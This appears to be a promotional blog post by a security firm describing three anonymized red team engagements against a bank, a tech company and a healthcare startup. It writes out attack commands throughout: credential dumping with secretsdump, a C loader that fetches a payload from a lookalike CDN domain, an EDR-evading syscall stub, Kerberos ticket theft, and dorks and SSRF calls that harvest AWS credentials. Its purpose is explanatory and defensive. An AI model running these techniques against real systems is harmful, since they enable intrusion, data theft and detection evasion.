Most penetration testing content online reads like a textbook. Clean environments, cooperative targets, and neat outcomes. Real red team engagements are nothing like that. They are messy, unpredictable, and often hinge on a single overlooked misconfiguration or a five-year-old forgotten server sitting in a DMZ.
At Redfox Cybersecurity, our red team operators have run engagements across financial institutions, critical infrastructure, healthcare networks, and government contractors. What follows are war stories pulled from those engagements, sanitized and anonymized, but technically accurate in every meaningful way.
If you want to understand what professional adversary simulation actually looks like, keep reading.
A large regional bank hired us for a full-scope red team engagement. Assumed breach was not in scope. We started from zero, with only a company name and a list of IP ranges.
We began with passive OSINT using amass and subfinder to enumerate the external attack surface.
amass enum -passive -d targetbank.com -o amass_output.txt
subfinder -d targetbank.com -silent -o subfinder_output.txt
cat amass_output.txt subfinder_output.txt | sort -u | httprobe -c 50 > live_hosts.txt
[cta]
After cross-referencing live hosts, we identified a subdomain legacy-vpn.targetbank.com pointing to an IP not included in the original scope document. We flagged it, got written authorization to include it, and proceeded.
Running nmap with service detection and default script scanning against the host revealed something unexpected:
nmap -sV -sC -p- --min-rate 5000 -oA legacy_vpn_scan legacy-vpn.targetbank.com
[cta]
Port 389 (LDAP) and 445 (SMB) were open externally. This was a domain controller, sitting exposed on the internet, running Windows Server 2012 R2.
We ran crackmapexec to check for null sessions and SMB signing:
crackmapexec smb legacy-vpn.targetbank.com --shares -u '' -p ''
[cta]
Null sessions were enabled. We enumerated shares and found a readable SYSVOL share. Inside it, a legacy Group Policy Preference file contained a cpassword value, an AES-encrypted credential Microsoft deprecated in MS14-025 but which is trivially decryptable.
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ7YQqPBMbBRQIUJMSqSNE="
[cta]
The decrypted credential was a service account with domain admin rights. We authenticated using impacket's psexec.py:
python3 psexec.py BANKDOMAIN/svc_deploy:'P@ssw0rd2019'@legacy-vpn.targetbank.com
[cta]
We were inside the domain. From there, we performed a DCSync attack to dump all domain hashes:
python3 secretsdump.py BANKDOMAIN/svc_deploy:'P@ssw0rd2019'@10.10.1.5 -just-dc
[cta]
The entire Active Directory was compromised in under four hours from a single forgotten server no one knew was internet-facing.
Asset inventory is not a nice-to-have. It is a foundational security control. If you cannot enumerate your own attack surface, attackers will do it for you.
Our team at Redfox Cybersecurity includes external attack surface mapping as a core component of every red team engagement for exactly this reason.
A mature technology company with a dedicated SOC and a modern EDR solution across all endpoints brought us in for an assumed-compromise simulation. Their security team was confident their email gateway and endpoint controls would catch anything our operators threw at them.
They were wrong.
We did not write malware. We abused trust. We obtained an expired but still structurally valid code signing certificate from a dissolved software vendor via a Certificate Transparency log search. Then we compiled a custom loader in C that used indirect syscalls to avoid EDR hooking.
The loader fetched a second-stage payload over HTTPS from a domain we registered that mimicked a legitimate CDN. The domain had aged thirty days before use and had a valid TLS certificate from Let's Encrypt.
#include <windows.h>
#include <winhttp.h>
BOOL FetchPayload(LPVOID* buffer, DWORD* size) {
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession,
L"cdn-updates.delivery-net.io",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect,
L"GET", L"/update/v2/agent.bin",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
// ... read response into buffer
}
[cta]
The indirect syscall stub bypassed user-mode hooks placed by the EDR by resolving syscall numbers at runtime from ntdll.dll on disk rather than in memory:
mov r10, rcx
mov eax, [syscall_number]
syscall
ret
[cta]
The phishing email itself impersonated an internal IT helpdesk notification about a mandatory VPN certificate renewal, complete with the company's branding scraped from their public careers page. It was sent from a lookalike domain with proper SPF, DKIM, and DMARC records aligned.
Three employees clicked within forty minutes. One was in finance. One was in IT. One was the CISO's executive assistant.
Once we had a Havoc C2 beacon running on the finance machine, we used Redfox Cybersecurity's internal tradecraft for lateral movement. We ran BloodHound collection using a custom LDAP query wrapper to avoid triggering EDR telemetry on the default SharpHound binary:
$searcher = [adsisearcher]"(objectCategory=computer)"
$searcher.PropertiesToLoad.Add("dnshostname")
$searcher.PropertiesToLoad.Add("operatingsystem")
$searcher.FindAll() | ForEach-Object {
$_.Properties["dnshostname"]
}
[cta]
We identified a path from the finance user to a server with an unconstrained delegation flag set. From there, using the printer bug to coerce authentication from the domain controller:
python3 printerbug.py TECHDOMAIN/finance_user:'ClickedTheLink1'@10.10.2.30 10.10.2.99
[cta]
The domain controller's machine account TGT hit our responder on the delegation-enabled server. We extracted it with Rubeus and passed the ticket:
.\Rubeus.exe monitor /interval:1 /filteruser:DC01$
.\Rubeus.exe ptt /ticket:[base64blob]
[cta]
Total time from first click to domain admin: six hours and fourteen minutes. The SOC never raised an alert.
A confident security posture is not the same as a tested one. EDR tools are only as effective as the configurations behind them and the threat models they were tuned for. Custom, signed loaders abusing legitimate OS APIs are not caught by signature-based detection.
If you want to understand whether your defenses hold against modern tradecraft, explore our red team services at Redfox Cybersecurity or sharpen your own skills through Redfox Cybersecurity Academy.
A SaaS startup in the healthcare space hired us for a black-box external assessment. They had recently migrated to AWS and were proud of their cloud-first architecture. Within ninety minutes, we had read access to every patient record in their system.
We started with GitHub dorking, searching for their organization name combined with common secret patterns:
org:healthstartup-io "aws_access_key_id"
org:healthstartup-io "AKIA"
org:healthstartup-io filename:.env
[cta]
We found a .env file committed eleven months earlier to a developer's personal fork of an internal repository. It contained live AWS credentials that had never been rotated.
export AWS_ACCESS_KEY_ID=AKIAxxxxxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_DEFAULT_REGION=us-east-1
[cta]
We verified the keys and enumerated permissions using enumerate-iam:
python3 enumerate-iam.py --access-key AKIAxxxxxxxxxx --secret-key xxxxxxxxxx
[cta]
The key belonged to a developer IAM user with AdministratorAccess. We used the AWS CLI to enumerate S3 buckets:
aws s3 ls
aws s3 ls s3://healthstartup-patient-records/ --recursive
[cta]
The bucket contained unencrypted CSV exports of patient data going back three years. No bucket policy. No encryption at rest. Server-side access logging was disabled.
We then pulled EC2 instance metadata from a running instance via SSRF in their web application, compounding the exposure:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role
[cta]
The instance role returned temporary credentials with broader permissions than the compromised developer key.
Secrets in source code repositories remain one of the most consistently exploited vulnerabilities across every industry. Rotation policies, pre-commit hooks using tools like trufflehog or gitleaks, and least-privilege IAM policies are not optional controls. They are the minimum baseline.
trufflehog git https://github.com/target-org/target-repo --only-verified
gitleaks detect --source . --report-format json --report-path findings.json
[cta]
Cloud security is a specialty. If your team is building cloud-native, consider formal training at Redfox Cybersecurity Academy, where courses cover AWS attack paths, IAM privilege escalation, and cloud red team methodologies in depth.
Three engagements, three entirely different environments, three root causes that trace back to the same category of problems:
Forgotten assets that no one inventoried. Overconfident defenses that were never independently tested. Developer shortcuts that became permanent security debt.
Red team engagements do not invent new vulnerabilities. They find the ones already waiting in your environment, the ones your internal team has normalized or overlooked because they were always there.
What separates red teaming from a standard penetration test is the adversarial mindset. A penetration test checks for known vulnerabilities. A red team engagement asks a harder question: given enough time, creativity, and realistic attacker tooling, can we achieve a defined objective without being detected?
The answer, more often than organizations expect, is yes.
That is not a failure of the security team. It is the point of the exercise. You learn more from a simulated breach that gets caught at stage two than from a report that says your perimeter held. And you learn far more from one that does not get caught at all.
Our operators at Redfox Cybersecurity approach every engagement the way a nation-state-aligned threat actor would approach your organization specifically. Not a generic attack playbook. An engagement tailored to your industry, your technology stack, and your threat landscape.
The organizations in these stories all had security programs. They had firewalls, EDR solutions, IAM policies, and security-aware staff. None of that prevented compromise.
What they lacked was an honest, independent answer to the question every security leader should be asking regularly: if a skilled, patient, and motivated attacker targeted us today, how far would they get?
Red team engagements answer that question before someone else does.
If you want to put your defenses to the test against realistic adversary simulation, reach out to Redfox Cybersecurity. If you want to build the skills to run these engagements yourself or understand how to defend against them, Redfox Cybersecurity Academy offers practitioner-led courses built on real-world tradecraft, not theoretical frameworks.
The attackers are not waiting. Neither should you.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
